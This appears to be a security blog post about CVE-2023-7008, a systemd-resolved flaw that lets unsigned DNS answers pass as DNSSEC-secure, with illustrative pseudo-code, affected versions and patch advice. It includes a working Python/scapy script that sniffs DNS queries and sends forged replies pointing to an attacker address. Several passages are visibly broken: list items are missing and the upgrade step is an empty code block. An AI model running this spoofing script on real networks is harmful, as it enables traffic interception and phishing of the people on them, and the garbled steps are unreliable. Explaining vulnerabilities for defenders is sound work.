In December 2023, a security vulnerability, CVE-2023-7008, was found in systemd-resolved, the DNS resolver daemon used by many Linux distributions. This bug quietly breaks a key guarantee of DNSSEC: it may cause your computer to accept unsigned DNS responses for domains that are supposed to be signed, opening the door to traffic interception and manipulation.

If you’re running modern Linux, your system is probably affected. In this post, I’ll explain the vulnerability in simple language, show how it works with example code snippets, provide reference links, and discuss a proof-of-concept exploit.

What is systemd-resolved?

systemd-resolved is a *background service* that handles DNS lookups for your Linux apps, supporting DNS-over-TLS, DNSSEC, and more. It tries to keep you safe by verifying DNSSEC signatures if you set it to “validate” mode.

What is CVE-2023-7008?

CVE-2023-7008 is a logic bug: systemd-resolved can be tricked into accepting DNS responses as “secure” even when those responses are missing the DNSSEC signature (RRSIG records). That means attackers—like a “man-in-the-middle” or a compromised upstream resolver—can send fake DNS data for protected domains, and your system may accept it as valid.

For DNSSEC-protected domains, the resolver should only accept signed answers.

- But systemd-resolved, due to a bug, may accept unsigned answers as if they were valid for DNSSEC-protected domains.

Reference: systemd Issue #30457

But with CVE-2023-7008

- The resolver may accept answers with missing or no RRSIG (signatures) and mark them as valid, not even noticing the data is unsigned!

Simplified vulnerable code snippet (from upstream)

// Not actual systemd code. For illustration only.
if (dnssec_mode == "allow_unsigned" && !found_rrsig) {
    mark_record_as_insecure();
} else if (dnssec_mode == "secure" && !found_rrsig) {
    // Vulnerability: Should REJECT, but actually...
    mark_record_as_secure(); // Oops!!
}

*Note: The actual code is more complex, but you get the gist: Secure mode fails to reject unsigned answers.*

How Could an Attacker Exploit This?

Imagine a malicious WiFi network or compromised DNS server between you and the internet. If you trust DNSSEC for your bank, but systemd-resolved ignores missing signatures, the attacker can:

Replace the real answer with their own IP (their phishing server).

- systemd-resolved doesn’t notice the signatures are missing—and gives your browser the malicious IP.

Here’s a simplified hack demo using Python and scapy

from scapy.all import *
from scapy.layers.dns import *

def spoof_dns(pkt):
    if pkt.haslayer(DNSQR):
        print("Intercepted request for:", pkt[DNSQR].qname.decode())
        # Build a fake DNS response (no RRSIG)
        spoofed = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
            UDP(dport=pkt[UDP].sport, sport=53)/\
            DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
                an=DNSRR(rrname=pkt[DNSQR].qname, rdata="1.2.3.4"))
        send(spoofed)

# Intercept DNS queries
sniff(filter="udp port 53", prn=spoof_dns)

What this does:

Doesn't include RRSIG (signature).

- On a vulnerable system, systemd-resolved may accept this fake data as "secure" if DNSSEC is set to “secure.”

Any system running systemd-resolved 252–255.3 (before patch).

- Most major Linux distros (Ubuntu 23.10, Fedora 38/39, Debian unstable/testing, etc.).

How to Protect Yourself

1. Upgrade systemd-resolved:

`

3. Use alternative DNSSEC validators if you need extra protection (e.g., Unbound, BIND).

- Original GitHub Issue #30457 - systemd
- CVE-2023-7008 on CVE.org
- systemd commit patch (fix)
- LinuxSecurity Article
- Red Hat Bugzilla Report

Conclusion

CVE-2023-7008 is a reminder:
Even trusted software, like systemd, can make subtle mistakes with big consequences. If you depend on DNSSEC for security and are running systemd-resolved, patch now. Otherwise, the very safeguards you rely on to keep your internet traffic safe can be bypassed almost trivially.

Timeline

Published on: 12/23/2023 13:15:07 UTC
Last modified on: 01/27/2024 03:15:07 UTC